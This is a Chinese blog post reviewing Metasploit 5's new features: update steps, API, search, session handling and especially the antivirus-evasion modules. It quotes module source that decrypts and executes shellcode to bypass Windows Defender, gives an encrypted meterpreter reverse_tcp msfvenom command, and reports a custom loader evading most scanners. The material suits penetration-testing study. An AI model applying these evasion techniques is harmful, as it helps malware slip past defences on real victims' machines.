關於MSF5一些你不得不知道的東西
不久前知名的滲透測試框架metasploit frameword進行了一次大得版本更新,從msf4.7更新到了msf5。其中自然少不了一些新特性,筆者在使用新增的功能時,發現這些功能都十分實用,並且非常值得學習。這裡我給大家簡單介紹一下重要的更新內容,並且使用其做做小實驗。
官方release note: https://blog.rapid7.com/2019/01/10/metasploit-framework-5-0-released/ 如何更新 筆者只在Ubuntu、MAC、kali中嘗試更新。 GIT 官方倉庫master已經更新到了msf5。 直接使用該倉庫重新安裝一次即可,可是太麻煩啦! Ubuntu 18 直接使用msfupdate命令即可。 MAC 同上 kali 在/etc/apt/sources.list中新增kali-experimental版本源,例如阿里雲源:
deb http://mirrors.aliyun.com/kali kali-experimental main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-experimental main non-free contrib 其實就是把rolling版本換成了experimental,保險起見,你也可以只新增,不覆蓋原內容。 這裡我嘗試過兩種方法,在windows子系統的kali中: sudo apt update; apt install metasploit-framework即可 而虛擬機器Kali 2018.4中: apt remove metasploit-framework;apt install metasploit/kali-experimental 猜測是因為windows子系統的kali的msf並不是預設的導致的命令差異。 簡單介紹部分更新內容 資料庫和自動化的APIs 意思就是在Postgresql資料庫為後端的基礎上添加了RESTful API服務,使得msf以及外部工具之間可以進行互動。API文件: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service . 免殺模組以及庫 這點是我認為這次更新最實(易)用的一個地方,這裡官方介紹的比較模糊,並且只給出了兩個已經寫好的庫。具體的內容都在一份paper中。所以在這裡我來具體介紹一下。
免殺模組 來看看數日內,這兩個可憐的"樣本"被殺成什麼樣了。
evasion/windows/windows_defender_exe
火絨:
Windows defender
virustotal GGbdIwIyp.exe 分析
檢出率:34 / 69
evasion/windows/windows_defender_js_hta
火絨
Windows defender
virustotal WMPqRX.hta 分析
可以看到exe檔案被查殺的比例雖然偏高,但是依舊過了Windows defender的靜態掃描,而HTA則沒有這麼好運,被Windows defender無情的識別出來了,但是檢出率十分可觀,可以看到可以繞過大多數知名AV。(PS:我把火絨單獨放出來是因為virustotal沒有它,並且筆者主機是使用火絨的,但是十分可惜結果不太好看.) 當然,此次是 msf 第一次放出免殺相關的功能,肯定不僅僅如此,下面的才是最關鍵的幾個點: 提供模板編譯函式
Metasploit::Framework::Compiler::Windows.compile_c(code)
Metasploit::Framework::Compiler::Windows.compile_c_to_file(file_path, code)
EXE Example
c_template = %Q|#include <Windows.h>
int main(void) {
LPCTSTR lpMessage = "Hello World";
LPCTSTR lpTitle = "Hi";
MessageBox(NULL, lpMessage, lpTitle, MB_OK);
return 0;
}|
require 'metasploit/framework/compiler/windows'
This will save the binary in variable exe
exe = Metasploit::Framework::Compiler::Windows.compile_c(c_template)
This will save the binary as a file
Metasploit::Framework::Compiler::Windows.compile_c_to_file('/tmp/test.exe', c_template) DLL Example
c_template = %Q|#include <Windows.h>
BOOL APIENTRY DllMainattribute ((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "Hello World", "Hello", MB_OK);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// This will be a function in the export table
int Msgattribute ((export))(void) {
MessageBox(NULL, "Hello World", "Hello", MB_OK);
return 0;
}
|
require 'metasploit/framework/compiler/windows'
dll = Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll) Code Randomization
require 'msf/core'
require 'metasploit/framework/compiler/windows'
c_source_code = %Q|
#include <Windows.h>
int main() {
const char* content = "Hello World";
const char* title = "Hi";
MessageBox(0, content, title, MB_OK);
return 0;
}|
outfile = "/tmp/helloworld.exe"
weight = 70 # This value is used to determine how random the code gets.
Metasploit::Framework::Compiler::Windows.compile_random_c_to_file(outfile, c_source_code, weight: weight) 加密方式 並且此次添加了四種加密方式,分別為AES256-CBC、RC4、XOR和Base64。 使用方法:
msfvenom msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encrypt rc4 --encrypt-key thisisakey -f c 此語句將會列印加密後的shellcode,需要自行實現客戶端載入。
模板中 Msf::Simple::Buffer.transform(payload.encoded, 'c', 'buf', format: 'rc4', key: rc4_key) 需要結合之前介紹過的編譯函式使用。 例如:
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'metasploit/framework/compiler/windows' class MetasploitModule < Msf::Evasion def initialize(info={}) super(merge_info(info, 'Name' => 'Microsoft Windows Defender Evasive Executable', 'Description' => %q{ This module allows you to generate a Windows EXE that evades against Microsoft Windows Defender. Multiple techniques such as shellcode encryption, source code obfuscation, Metasm, and anti-emulation are used to achieve this. For best results, please try to use payloads that use a more secure channel such as HTTPS or RC4 in order to avoid the payload network traffc getting caught by antivirus better. }, 'Author' => [ 'sinn3r' ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => [ ['Microsoft Windows', {}] ] )) end def rc4_key @rc4_key ||= Rex::Text.rand_text_alpha(32..64) end def get_payload @c_payload ||= lambda { opts = { format: 'rc4', key: rc4_key } junk = Rex::Text.rand_text(10..1024) p = payload.encoded + junk return { size: p.length, c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts) } }.call end def c_template @c_template ||= %Q|#include <Windows.h> include <rc4.h> // The encrypted code allows us to get around static scanning {get_payload[:c_format]} int main() { int lpBufSize = sizeof(int)#{get_payload[:size]}; LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT,| Rapid7.com Encapsulating Antivirus (AV) Evasion Techniques - 20 0x00000040); memset(lpBuf, '\0', lpBufSize); HANDLE proc = OpenProcess(0x1F0FFF, false, 4); // Checking NULL allows us to get around Real-time protection if (proc == NULL) { RC4("#{rc4_key}", buf, (char) lpBuf, #{get_payload[:size]}); void (func)(); func = (void ()()) lpBuf; (void)(*func)(); } return 0; }| end def run vprint_line c_template # The randomized code allows us to generate a unique EXE bin = Metasploit::Framework::Compiler::Windows.compile_ random_c(c_template) print_status("Compiled executable size: #{bin.length}") file_create(bin) end end
為了方便,筆者使用第一種方法來實現。
這裡我使用base64的加密方式,然後自行編寫解碼執行shellcode的客戶端程式。 然後msf開啟監聽,這裡使用msf5新增的handler指令直接新增一個listener。
先檢視我們寫的客戶端免殺效果如何。
火絨
windows defender
抽風了,是之前的檔案,我自己給刪除了,結果顯示還在。
virustotal
檢出率:3 / 69 這三款我只關注某知名AV,這個報的病毒型別是典型專屬它的誤報,多的不說了直接上真實環境看看。
跑起來試試
一些特色
搜尋速度 msf5的漏洞搜尋功能變得飛快了,沒有了原來的slow search。所有的session型別都支援background指令了,我猜很多小夥伴都被直接彈回來的shell/cmd煩惱過。
background 這裡我使用臭名昭著的windows/shell/reverse_tcp
這個型別的session會直接談一個shell到你的msfconsole,並且無法掛在後臺,非常煩人,容易手誤關閉shell,比如原來的ms17-010模組預設就是這個坑爹的模組,漏洞本身不能短時間多次利用,常常耽誤很多時間。
不過值得注意的是,當你進入這個session,也就是shell的時候,仍然無法退出到msfconsole,只能關閉session出來...
拓展模組支援更多語言 現在支援Go, Python, 以及 Ruby了。額外新增的兩個語言都是非常棒,筆者都學習過的語言,可以預見到未來的模組遍地開花!
結語 關於本次更新,筆者也是關注的官方公告,以及周圍小夥伴的口口相傳,所以可能會有不少遺漏內容,文章也寫的比較口語化,旨在分享知識,請大家多多包涵,最後祝願所有朋友新的一年技術節節高升。